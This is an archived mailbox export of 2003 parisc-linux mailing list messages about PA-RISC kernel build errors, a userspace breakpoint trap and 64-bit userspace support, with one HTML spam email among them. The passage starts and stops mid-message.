`/home/rguevara/source/linux/arch/parisc/kernel'
make: *** [_dir_arch/parisc/kernel] Error 2

I'm tried to compile in a HP 9000 D-Class D270 running Debian 3.0r1 
with linux version 2.4.17-32 and gccv 3.0.4
any suggestions.
Ricardo J Guevara
 




From - Thu Nov 08 21:27:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4.20 build error
Date: Wed, 2 Apr 2003 23:41:38 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20030402224138.GU29376@parcelfarce.linux.theplanet.co.uk>
References: <26c4b36317a73ee1.17a73ee126c4b363@unitec.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622356 24103 80.91.229.3 (22 Nov 2014 02:12:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ricardo Jose Guevara Ochoa <jguevara@unitec.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  2 15:41:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4B9B14829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Apr 2003 15:41:42 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 190qvK-00065N-1h; Wed, 02 Apr 2003 23:41:38 +0100
Content-Disposition: inline
In-Reply-To: <26c4b36317a73ee1.17a73ee126c4b363@unitec.edu>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18159

On Wed, Apr 02, 2003 at 04:23:10PM -0600, Ricardo Jose Guevara Ochoa wrote:
> I downloaded the latest kernel for the parisc family, and when i tried 
> to compile and build the kernel it gave me an error in the make 
> vmlinux:
> ccio-dma.c: In function `ccio_probe':
> ccio-dma.c:1551: `ccio_proc_info' undeclared (first use in this 
> function)

turn on CONFIG_PROC_FS

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Donna Pike" <ajmfbq9wv79@aol.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] battleshbp mesic
Date: Thu, 03 Apr 03 04:49:37 GMT
Lines: 47
Approved: news@gmane.org
Message-ID: <90-rc8ci68230$ygq-43g@965qobcx4.rhfs>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="C0F19BF_DCD9.6FC6C7"
X-Trace: ger.gmane.org 1416622356 24110 80.91.229.3 (22 Nov 2014 02:12:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:36 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  2 17:01:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 079004829
	for <parisc-linux@parisc-linux.org>; Wed,  2 Apr 2003 17:01:40 -0700 (MST)
Original-Received: from 156.153.254.40 (unknown [195.134.32.148])
	by cuprel1.hp.com (Postfix) with SMTP id 9D3E62531
	for <parisc-linux@parisc-linux.org>; Wed,  2 Apr 2003 16:01:37 -0800 (PST)
Original-Received: from qsnz.u74pgnh.org [3.105.58.182] by 156.153.254.40 with ESMTP id 69032488 for <parisc-linux@parisc-linux.org>; Thu, 03 Apr 2003 04:49:37 +0500
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: eGroups Message Poster
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18160

This is a multi-part message in MIME format.

--C0F19BF_DCD9.6FC6C7
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<html>
<head>
</head>
<body bgcolor=3D"#FFFFFF" text=3D"#000000">
<div align=3D"center">
  <table width=3D"523" height=3D"26">
    <tr> 
      <td height=3D"2" align=3D"center" valign=3D"middle" bgcolor=3D"#FFFF=
FF" width=3D"521">
        <p align=3D"left"><font size=3D"2" face=3D"verdana" color=3D"#0000=
00">How have you been?</font></p>
      </td>
    </tr>
  </table>
</div>
<div align=3D"center">
  <center>
  <table border=3D"0" width=3D"65%" height=3D"0" cellspacing=3D"0" cellpad=
ding=3D"0">
    <tr>
      <td width=3D"100%" height=3D"117">
        <p align=3D"center"><a href=3D"http://rd.yahoo.com/*http://www.ema=
iloffer.us/fs/index.html"><img border=3D"0" src=3D"http://rd.yahoo.com/*ht=
tp://www.emailoffer.us/fs/fs2_top.jpg" width=3D"523" height=3D"146"></a></=
td>
    </tr>
    <tr>
      <td width=3D"100%" height=3D"1">
        <p align=3D"center"><a href=3D"http://rd.yahoo.com/*http://www.ema=
iloffer.us/fs/index.html"><img border=3D"0" src=3D"http://rd.yahoo.com/*ht=
tp://www.emailoffer.us/fs/fs2_bottom.jpg" width=3D"523" height=3D"146"></a=
></td>
    </tr>
  </table>
  </center>
</div>
</body>
</html>
--C0F19BF_DCD9.6FC6C7--



From - Thu Nov 08 21:27:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ricardo Jose Guevara Ochoa" <jguevara@unitec.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4.20 build error
Date: Thu, 03 Apr 2003 08:55:11 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <5849494679bc7010.79bc701058494946@unitec.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622356 24118 80.91.229.3 (22 Nov 2014 02:12:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:36 +0000 (UTC)
To: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  3 08:05:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.unitec.edu (mail.unitec.edu [216.72.84.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id C9D17482B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Apr 2003 08:04:59 -0700 (MST)
Original-Received: from unitec.edu ([127.0.0.1]) by mail.unitec.edu
          (Netscape Messaging Server 4.15) with ESMTP id HCRW3Z00.EZS;
          Thu, 3 Apr 2003 08:55:11 -0600 
X-Mailer: Netscape Webmail
Content-Language: en
X-Accept-Language: en
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18161

> 
> turn on CONFIG_PROC_FS

Where do i turn it on? in a file /arch/parisc/defconfig it's already 
turn on.

thanks in advance,
Ricardo J Guevara

----- Original Message -----
From: Matthew Wilcox <willy@debian.org>
Date: Wednesday, April 2, 2003 4:41 pm
Subject: Re: [parisc-linux] Kernel 2.4.20 build error

> On Wed, Apr 02, 2003 at 04:23:10PM -0600, Ricardo Jose Guevara 
> Ochoa wrote:
> > I downloaded the latest kernel for the parisc family, and when i 
> tried 
> > to compile and build the kernel it gave me an error in the make 
> > vmlinux:
> > ccio-dma.c: In function `ccio_probe':
> > ccio-dma.c:1551: `ccio_proc_info' undeclared (first use in this 
> > function)




From - Thu Nov 08 21:27:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4.20 build error
Date: Thu, 3 Apr 2003 16:07:56 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20030403150756.GF29376@parcelfarce.linux.theplanet.co.uk>
References: <5849494679bc7010.79bc701058494946@unitec.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622357 24122 80.91.229.3 (22 Nov 2014 02:12:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:37 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Ricardo Jose Guevara Ochoa <jguevara@unitec.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  3 08:07:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6ED9A4829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Apr 2003 08:07:57 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 1916Jo-0001g4-2w; Thu, 03 Apr 2003 16:07:56 +0100
Content-Disposition: inline
In-Reply-To: <5849494679bc7010.79bc701058494946@unitec.edu>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18162

On Thu, Apr 03, 2003 at 08:55:11AM -0600, Ricardo Jose Guevara Ochoa wrote:
> > 
> > turn on CONFIG_PROC_FS
> 
> Where do i turn it on? in a file /arch/parisc/defconfig it's already 
> turn on.

that's only the default configuration.  Your configuration is in .config

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4.20 build error
Date: Thu, 3 Apr 2003 17:29:37 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <20030403152936.GN23095@lug-owl.de>
References: <5849494679bc7010.79bc701058494946@unitec.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="Ie5iOtK4e9kgqh2F"
X-Trace: ger.gmane.org 1416622357 24123 80.91.229.3 (22 Nov 2014 02:12:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  3 08:29:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id EE5DE4829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Apr 2003 08:29:38 -0700 (MST)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id D6BDC4AB6B; Thu,  3 Apr 2003 17:29:37 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <5849494679bc7010.79bc701058494946@unitec.edu>
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18163

--Ie5iOtK4e9kgqh2F
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Thu, 2003-04-03 08:55:11 -0600, Ricardo Jose Guevara Ochoa <jguevara@uni=
tec.edu>
wrote in message <5849494679bc7010.79bc701058494946@unitec.edu>:
> >=20
> > turn on CONFIG_PROC_FS
>=20
> Where do i turn it on? in a file /arch/parisc/defconfig it's already=20
> turn on.

"make menuconfig" or "make config" of "make xconfig" or ...

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--Ie5iOtK4e9kgqh2F
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+jFNgHb1edYOZ4bsRAu7wAKCRLQ0FlW+PXlVcghjTcxGFzkFsiQCfQ6Qk
3Shs8RyXyYDAdhOHvwx0a58=
=ogf1
-----END PGP SIGNATURE-----

--Ie5iOtK4e9kgqh2F--


From - Thu Nov 08 21:27:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] break 0,0: pid=304 command jade ??
Date: Thu, 3 Apr 2003 17:40:30 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <3E8AE87E00000E4E@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622357 24125 80.91.229.3 (22 Nov 2014 02:12:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  3 08:40:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0ECE14829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Apr 2003 08:40:33 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 1916pL-0006uD-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 03 Apr 2003 17:40:31 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 3 Apr 2003 17:40:30 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18164

Hi all,

I just buy A. S. Tanenbaum's book "Operating Systems: Design and Implementation"
and its MINIX should run on bochs.

I try so to compile the last bochs release onto a my unstable debian pariec
linux.
This failled at the build of docbook because 'jade' failed on following
trap:
Trace/breakpoint trap

# dmesg show me then:
break 0,0: pid=304 command='jade'

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  00000000 4072b5a4 4071a687 00000005
r04-07  4072b4d4 faf0060c 00000000 40026e40
r08-11  40000238 0000000a 00000000 00000000
r12-15  000dbb28 000f7508 000f7508 000f75a8
r16-19  00000000 00000000 00014000 4072b4d4
r20-23  00000000 00000000 40000238 00000005
r24-27  40000658 0000001a 00000001 00100600
r28-31  00000005 0000005f faf00700 4071a687
sr0-3   00000300 00000300 00000000 00000300
sr4-7   00000300 00000300 00000300 00000300

IASQ: 00000300 00000300 IAOQ: 4000023b 4000023f
 IIR: 00000000    ISR: 00000000  IOR: 00000000
 CPU:        0   CR30: 1e580000 CR31: 103d0000
 ORIG_R28: 00000000

Is somebody could help me to understand what happened with this trap?

Thanks in advance,
    Joel



---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] break 0,0: pid=304 command jade ??
Date: Thu, 3 Apr 2003 08:00:58 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <20030403160058.GF9388@tausq.org>
References: <3E8AE87E00000E4E@ocpmta2.freegates.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622358 24132 80.91.229.3 (22 Nov 2014 02:12:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  3 09:03:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id D63724829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Apr 2003 09:03:51 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id EE11BCD295; Thu,  3 Apr 2003 08:00:58 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <3E8AE87E00000E4E@ocpmta2.freegates.net>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18165

> I try so to compile the last bochs release onto a my unstable debian pariec
> linux.
> This failled at the build of docbook because 'jade' failed on following
> trap:
> Trace/breakpoint trap
> 
> # dmesg show me then:
> break 0,0: pid=304 command='jade'

usually this means a program tried to branch to a NULL (or otherwise 
invalid) address... 

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rodrigo Colao Merlo <rodrigo@tteng.com.br>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Applications in 64 bits userspace
Date: Thu, 3 Apr 2003 15:12:35 -0300
Organization: T&T Engenheiros e Associados
Lines: 15
Approved: news@gmane.org
Message-ID: <200304031512.35389.rodrigo@tteng.com.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622358 24135 80.91.229.3 (22 Nov 2014 02:12:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  3 11:12:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from einstein.tteng.com.br (unknown [200.203.41.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id AB0734829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Apr 2003 11:12:39 -0700 (MST)
Original-Received: (from root@localhost)
	by einstein.tteng.com.br (8.11.6/8.11.6) id h33ICb405287
	for parisc-linux@lists.parisc-linux.org; Thu, 3 Apr 2003 15:12:37 -0300
Original-Received: from rodrigo.tteng.com.br (rodrigo.tteng.com.br [192.168.0.132])
	by einstein.tteng.com.br (8.11.6/8.11.6) with ESMTP id h33ICZd05280
	for <parisc-linux@lists.parisc-linux.org>; Thu, 3 Apr 2003 15:12:35 -0300
User-Agent: KMail/1.5.1
Content-Disposition: inline
X-Virus-Scanned: by AMaViS perl-11
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18166

 Hello,
 I work for a software company in Brazil specialized in Linux 
 development under contract by HP.
 
 We're currently working in a project that needs investigate what are missing 
in kernel to run applications in 64 bits userspace. I need only known what 
are missing in kernel and what kernel do you recomend ? 2.4 or 2.5 ? 

The patchs for both kernels(2.4.x and 2.5.x) are in the same stage?

Thank you!

Rodrigo



From - Thu Nov 08 21:27:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ricardo Jose Guevara Ochoa" <jguevara@unitec.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel boot error
Date: Thu, 03 Apr 2003 12:10:44 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <4dfbf44c74795b8f.74795b8f4dfbf44c@unitec.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622358 24136 80.91.229.3 (22 Nov 2014 02:12:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  3 11:20:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.unitec.edu (mail.unitec.edu [216.72.84.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id 04EE64829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Apr 2003 11:20:33 -0700 (MST)
Original-Received: from unitec.edu ([127.0.0.1]) by mail.unitec.edu
          (Netscape Messaging Server 4.15) with ESMTP id HCS55W00.AXX for
          <parisc-linux@lists.parisc-linux.org>; Thu, 3 Apr 2003 12:10:44 -0600 
X-Mailer: Netscape Webmail
Content-Language: en
X-Accept-Language: en
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
